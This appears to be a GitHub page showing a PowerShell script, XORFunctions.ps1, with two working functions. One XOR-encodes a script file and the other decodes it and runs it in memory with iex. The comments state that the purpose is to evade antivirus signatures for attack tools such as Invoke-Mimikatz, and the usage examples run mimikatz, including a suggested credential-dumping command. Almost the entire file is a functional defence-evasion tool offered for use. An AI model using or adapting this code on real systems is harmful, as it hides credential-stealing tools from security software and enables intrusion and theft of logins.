-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathXORFunctions.ps1
160 lines (121 loc) · 4.26 KB
/
XORFunctions.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
function Out-XOREncryptedScript
{
<#
.SYNOPSIS
This script XOR cipher encrypts a script to obfuscate it from Anti-Virus. The Idea behind this, is if you have to write a script to memory, first
encrypt the script and then decrypt and run in memory (Via Invoke-XOREncryptedScript).
Function: Out-XOREncryptedScript
Author: Matt Kelly, Twitter: @Breakersall
License: http://creativecommons.org/licenses/by/3.0/fr/
Version: 1.0
References: https://jls3tech.wordpress.com/2014/08/23/xor-tool-for-powershell/
.DESCRIPTION
XOR encodes a script into a format that will not be caught by Anti-Virus.
.PARAMETER InputScript
The input file to encode.
.PARAMETER OutputScript
The Output file to write the encoded value to (defaults to Encoded.txt)
.Paramater XORValue
The value to XOR to (defaults to 111)
.Example
PS C:\Windows\Temp> Out-XOREncryptedScript -InputScript C:\Tools\temp.txt -OutputScript C:\Too
ls\Example.txt
PS C:\Windows\Tempc> Invoke-XOREncryptedScript -InputScript C:\Tools\Example.txt -PassFunctionP
aramaters "Invoke-Mimikatz -Command coffee"
.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Feb 16 2015 22:15:28)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 15 modules * * */
mimikatz(powershell) # coffee
( (
) )
.______.
| |]
\ /
`----'
#>
[CmdletBinding()]
Param
(
[Parameter(Mandatory=$true)]
[ValidateScript({Test-Path $_})]
[string]$InputScript,
[Parameter(Mandatory=$false)]
[string]$OutputScript = "Encoded.txt",
[Parameter(Mandatory=$false)]
[int]$XORValue = 111
)
$bytes = [System.IO.File]::ReadAllBytes("$InputScript")
for($i=0; $i -lt $bytes.count ; $i++)
{
$bytes[$i] = $bytes[$i] -bxor $XORValue
}
[System.IO.File]::WriteAllBytes("$OutputScript", $bytes)
}
function Invoke-XOREncryptedScript
{
<#
.SYNOPSIS
This script XOR cipher decrypts a script and then runs it in memory. When paired with Out-XOREncryptedScript,
this script can be used to completely defeat Anti-Virus signature of PowerShell script blocks such as
Invoke-Mimikatz
NOTE - I am passing your direct variables to be executed which while is non-best practice, this scirpt
simply executes another script...
Function: Invoke-XOREncryptedScript
Author: Matt Kelly, Twitter: @Breakersall
License: http://creativecommons.org/licenses/by/3.0/fr/
Version: 1.0
References: https://jls3tech.wordpress.com/2014/08/23/xor-tool-for-powershell/
.DESCRIPTION
XOR encodes a script into a format that will not be caught by Anti-Virus.
.PARAMETER InputScript
The input file to decode and run in-memory decoded (defaults to Encoded.txt).
.PARAMETER PassFunctionParamaters
Optionally provide additional commands to run such as 'invoke-mimikatz -dumpcreds, useful when running
on a non-interactive prompt (started WMI task)'
.Paramater XORValue
The value to XOR to (defaults to 111)
.Example XORValue
PS C:\Windows\Temp> Out-XOREncryptedScript -InputScript C:\Tools\temp.txt -OutputScript C:\Too
ls\Example.txt
PS C:\Windows\Tempc> Invoke-XOREncryptedScript -InputScript C:\Tools\Example.txt -PassFunctionP
aramaters "Invoke-Mimikatz -Command coffee"
.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Feb 16 2015 22:15:28)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 15 modules * * */
mimikatz(powershell) # coffee
( (
) )
.______.
| |]
\ /
`----'
#>
[CmdletBinding()]
Param
(
[Parameter(Mandatory=$true)]
[ValidateScript({Test-Path $_})]
[string]$InputScript = "Encoded.txt",
[Parameter(Mandatory=$false)]
[string]$PassFunctionParamaters,
[Parameter(Mandatory=$false)]
[int]$XORValue = 111
)
$bytes = [System.IO.File]::ReadAllBytes($InputScript)
for($i=0; $i -lt $bytes.count ; $i++)
{
$bytes[$i] = $bytes[$i] -bxor $XORValue
}
$String = [System.Text.Encoding]::ASCII.GetString($bytes)
iex $String;
if ($PassFunctionParamaters)
{
iex $PassFunctionParamaters;
}
}